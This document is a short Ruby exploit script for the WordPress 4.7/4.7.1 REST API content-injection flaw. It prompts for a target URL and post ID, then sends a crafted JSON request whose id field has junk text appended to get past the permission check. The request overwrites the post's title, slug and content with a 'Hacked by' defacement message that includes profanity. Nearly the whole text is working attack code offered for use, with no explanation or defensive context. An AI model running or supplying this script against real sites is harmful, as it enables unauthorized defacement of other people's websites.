WordPress 4.7 / 4.7.1 Content Injection

# fix : gem install rest-client
# usage : ruby file.rb

require 'rest-client'
require 'json'
puts "Enter Target URL!"
targeturi = gets.chomp
puts "Enter Post ID"
postid = gets.chomp.to_i
response = RestClient.post(
  "#{targeturi}/wp-json/wp/v2/posts/#{postid}",
  {

    "id" => "#{postid}justrawdata",
    "title" => "Hacked by Al1337w0rm",
    "slug" => "pwned.htm",
    "content" => "<h1>Hacked by Al1337w0rm</h1><br><pre>FUCK ISIS!</pre>",


  }.to_json,
  :content_type => :json,
  :accept => :json
) {|response, request, result| response }
if(response.code == 200)

puts "Yeah, '#{targeturi}/?p=#{postid}'"


else
puts "Failed!"
end